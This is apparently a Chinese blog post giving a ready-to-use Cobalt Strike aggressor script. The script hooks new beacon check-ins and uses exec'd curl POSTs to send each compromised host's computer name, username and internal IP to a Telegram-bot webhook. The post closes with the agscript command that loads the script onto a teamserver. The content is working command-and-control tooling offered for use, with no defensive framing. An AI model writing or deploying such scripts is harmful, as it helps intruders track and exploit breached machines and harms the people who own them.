文章最后更新时间为:2022 年 03 月 11 日 17:19:29 Loading... 创建一个文件为`xxx.cna`,把以下内容放进去,自行修改推送链接等 $teamserver_hostname = 'server'; # 自定义一个名称 # 首次开启推送 $tg_bot_webhookURL = ''; # 需要发送的url $test_message = 'CS上线监听开启'; # 首次发送的消息 @curl_command = @('curl', '-X', 'POST', '--data', 'key=xxxxx', '--data', 'msg='.$test_message, $tg_bot_webhookURL); # 每个post参数前加一个--data exec(@curl_command); # 上线推送 on beacon_initial { println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid")); local('$internalIP $computerName $userName'); $internalIP = replace(beacon_info($1, "internal"), " ", "_"); $computerName = replace(beacon_info($1, "computer"), " ", "_"); $userName = replace(beacon_info($1, "user"), " ", "_"); $message = 'Message from '.$teamserver_hostname.' Server%0aBeacon success implant Info Target:%0aComputer name : '.$computerName.'%0aUsername : '.$userName.'%0aIpaddres : '.$internalIP; # 推送上线主机名、用户名、内网IP @curl_command = @('curl', '-X', 'POST', '--data', 'key=xxxxx', '--data', 'msg='.$message, $tg_bot_webhookURL); # 每个post参数前加一个--data exec(@curl_command); } ### 开启推送 > ./agscript ip port 用户名 密码 ./xxx.cna Last modification:March 11, 2022 © Allow specification reprint Support Appreciate the author AliPayWeChat Like 0 如果觉得我的文章对你有用,请随意赞赏